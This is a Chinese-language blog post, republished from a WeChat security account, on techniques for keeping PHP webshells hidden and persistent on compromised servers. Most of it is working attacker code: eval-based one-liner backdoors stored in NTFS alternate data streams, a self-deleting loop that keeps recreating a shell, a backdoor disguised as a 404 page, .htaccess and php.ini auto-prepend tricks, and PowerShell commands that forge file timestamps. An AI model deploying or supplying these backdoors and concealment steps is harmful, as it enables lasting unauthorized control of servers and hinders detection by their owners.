当前位置:网站首页>PHP后门隐藏技巧
PHP后门隐藏技巧
2020-11-06 22:33:00 【公众号_Bypass】
如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。
1、隐藏文件
使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r shell.php //隐藏shell.php文件
2、修改文件时间属性
当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。
//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"
使用命令获取文件属性
Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force
修改某个文件夹下所有文件的创建和修改时间
powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"
3、利用ADS隐藏文件内容
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。
利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。
<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>
4、不死马
不死马会删除自身,以进程的形式循环创建隐蔽的后门。
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__); //删除自身
while(1)
{
file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
sleep(10); //间隔时间
}
?>
处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。
5、中间件后门
将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。
github项目地址:
https://github.com/VladRico/apache2_BackdoorMod
6、利用404页面隐藏后门
404页面主要用来提升用户体验,可用来隐藏后门文件。
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
7、利用 .htaccess 文件构成PHP后门
一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。
AddType application/x-httpd-php .png
另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
8、利用 php.ini 隐藏后门文件
php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。
;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"
需重启服务生效,访问任意一个php文件即可获取webshell。
本文分享自微信公众号 - Bypass(Bypass--)。
如有侵权,请联系 [email protected] 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
版权声明
本文为[公众号_Bypass]所创,转载请带上原文链接,感谢
https://my.oschina.net/bypass/blog/4702864
边栏推荐
- C and C / C + + mixed programming series 5 - GC collaboration of memory management
- Windows 10 蓝牙管理页面'添加蓝牙或其他设备'选项点击无响应的解决方案
- JVM class loading mechanism
- In 2020, how can wechat seal numbers be quickly lifted?
- [byte jumps, autumn recruitment Posts open] ohayoo! Don't leave after school, I want to ask you to play games!!!
- How to manage the authority of database account?
- Stm32f030f4p6 compatible with smart micro mm32f031f4p6
- August 14, 2020: what are the execution engines for data tasks?
- Exclusive interview of guests at | 2020 PostgreSQL Asia Conference: Wang Tao
- 2020-08-19: what mechanism does TCP ensure reliability?
猜你喜欢
[learning] interface test case writing and testing concerns
高速公路二维码定位报警系统
Interviewer: how about shardingsphere
10000! Ideal car recalls all defective cars: 97 accidents have occurred and losses will be expanded
2020-08-17: how to solve data skew in detail?
Js数组-数组的用法全在这里(数组方法的重构、数组的遍历、数组的去重,数组的判断与转换)
2020-08-15: under what circumstances should data tasks be optimized?
Message queue - Analysis
The essence of transaction and the principle of deadlock
Practice of Xiaoxiong school development board: real equipment access of smart street lamp sandbox experiment
随机推荐
[byte jumps, autumn recruitment Posts open] ohayoo! Don't leave after school, I want to ask you to play games!!!
Application layer software development Godfather teaches you how to refactor, senior programmers must professional skills
甘特图对活动进行分组教程
What grammar is it? ]
How to make characters move
【涂鸦物联网足迹】物联网基础介绍篇
Nonvolatile MRAM memory used in all levels of cache
Es create a new index database and copy the old index library, practice pro test effective!
The memorandum model of behavior model
C and C / C + + mixed programming series 5 - GC collaboration of memory management
September 9, 2020: naked writing algorithm: two threads print numbers 1-100 in turn.
10000! Ideal car recalls all defective cars: 97 accidents have occurred and losses will be expanded
ImageMagick - add watermark
图像处理工具包ImagXpress使用教程,如何查看事件
Practice of Xiaoxiong school development board: real equipment access of smart street lamp sandbox experiment
非易失性MRAM存储器应用于各级高速缓存
Benefits and functions of auto maintenance app development
迅为-iMX6ULL开发板上配置AP热点
How to deploy Gantt chart quickly and correctly
confd